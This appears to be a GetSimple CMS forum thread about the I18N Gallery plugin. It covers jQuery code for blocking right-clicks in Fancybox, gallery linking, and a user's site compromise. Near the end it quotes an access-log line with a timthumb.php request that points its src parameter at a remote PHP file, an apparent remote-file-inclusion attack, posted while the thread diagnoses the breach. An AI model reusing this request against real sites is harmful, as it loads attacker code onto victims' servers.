Zegnåt Wrote:

vasitellapahki Wrote:How do you disable right click from Fancybox (or any of the gallery types, for that matter)? I’d like to restrict image downloading but don’t really want to watermark, I know Imagizer does that…

Note that any download blocking techniques are like obfuscation techniques. They are a pain to the user and will not stop downloading or copying in any way. Google will still index the images in their image search, I can just go there to get it. Or I can select it on the page and press CTRL+C (or CMD+C) to copy it.

The browser will always download the image to be able to display it, this means I can always get this image somewhere.

If you don’t believe me, check out Chris Coyier over at CSS-Tricks, he has an article about fighting image theft. One of the techniques he mentions (#2) would be my favourite: adding a big copyright claim to the bottom of the image and hiding it with CSS. Funny thing, he also puts right-click blocking as ineffective and especially annoying.

Felt like I had to add this point of view to the conversation.

vasitellapahki Wrote:

Code:

<script type="text/javascript">
$(document).ready(function()
{
$('img').bind("contextmenu", function(e){ return false; })

});
</script>

This works as expected but it does not disable right click in Fancybox popup – I’ve tried various solutions which I found but can’t figure out where the function should be in… anyone have a suggestion?

Zegnåt Wrote:Your problem is that $('img') only contains the images that currently exist in the DOM. Fancybox creates a new IMG element when it shows its box, and this new image never got your function set to it. What you actually want to do is bind the action to an existing element like the document but only trigger it when an image is clicked. Like so:

Code:

$(function(){
    $(document).on('contextmenu', 'img', function(){ return false; });
});

I still do not agree with this, but there you go. You can change the img selector in the .on() function to something more specific if you only want this to apply to images shown in Fancybox.

Zegnåt Wrote:I went and downloaded this plugin to try some things.

Code:

$(function(){
    $(document).on('contextmenu', 'img', function(){ return false; });
});

Should work. If you only want to block right-clicking the opened Fancybox images you can use this instead:

Code:

$(function(){
    $(document).on('contextmenu', '#fancybox-img', function(){ return false; });
});

But you will need to include your own jQuery in the theme. I18N Gallery includes jQuery 1.4.3, while my code was written for the latest version: 1.7.1.

The older versions of jQuery did not support .on(), but this effect can still be reached in 1.4.3 with the following code:

Code:

$(function(){
    $(document).delegate('#fancybox-img', 'contextmenu', function(){ return false; });
});

Robzilla Wrote:Is there any possibility to add just a link to a specific gallery inside page content, without getting redirected to the gallery itself after clicking on that link?

... if i click on "Gallery 2" the chosen display-type (Fancybox etc.) opens and the images / pictures can be browsed, but i stay on current site (Rooms).

mvlcek Wrote:

Robzilla Wrote:Is there any possibility to add just a link to a specific gallery inside page content, without getting redirected to the gallery itself after clicking on that link?

... if i click on "Gallery 2" the chosen display-type (Fancybox etc.) opens and the images / pictures can be browsed, but i stay on current site (Rooms).

See http://get-simple.info/forum/post/25216/#p25216.

douten Wrote:I'm interested in adding another Slider option into I18N Gallery. Is there a guide where I can start on doing this?

Connie Wrote:rcosstickphoto

gugu Wrote:I´m not sure are you point it is a security bug in getsimple
or it is a security bug in I18N Gallery ?

devaintfire Wrote:Well I know it's because of a script injection the question is what can be done about it?

devaintfire Wrote:They gave one last suggestion which was this

"A simple way to remove the ability for attackers to use remote file inclusion is to add a "php.ini" file at the top-level of the website with the following contents - be aware though that the web-site will need testing afterwards to ensure that no legitimate web-site scripted actions have been affected by the change.

------------------------------
The php.ini directives are...

allow_url_include = "0"
allow_url_fopen = "0"
------------------------------"

devaintfire Wrote:The php.ini directives are...

allow_url_include = "0"
allow_url_fopen = "0"
------------------------------

devaintfire Wrote:They seem pretty sure it's down to the gallery, I gave em hell last night, but if it is a problem with the gallery surely it should be sorted?

devaintfire Wrote:All of the following hits returned successful results on a script called timthumb.php

rcosstickphoto.com-access_log.2.gz:rcosstickphoto.com 72.10.55.173 - - [21/Mar/2012:08:55:49 +0000] "GET /xo/ix-xyz-graph-paper//wp-content/themes/modularity/includes/timthumb.php?src=http://blogger.com.chicolisto.com/cok.php HTTP/1.1" 200 4840 "-" "gsa-crawler (Enterprise; GID-01422; jplastiras.com)"

devaintfire Wrote:Nope no wordpress here, just getsimple, is it part of the plugin that resizes and crops the image?

mvlcek Wrote:

devaintfire Wrote:Nope no wordpress here, just getsimple, is it part of the plugin that resizes and crops the image?

No, it isn't.
Is /xo/ix-xyz-graph-paper//wp-content/themes/modularity/includes/timthumb.php one of the directories/files having been created?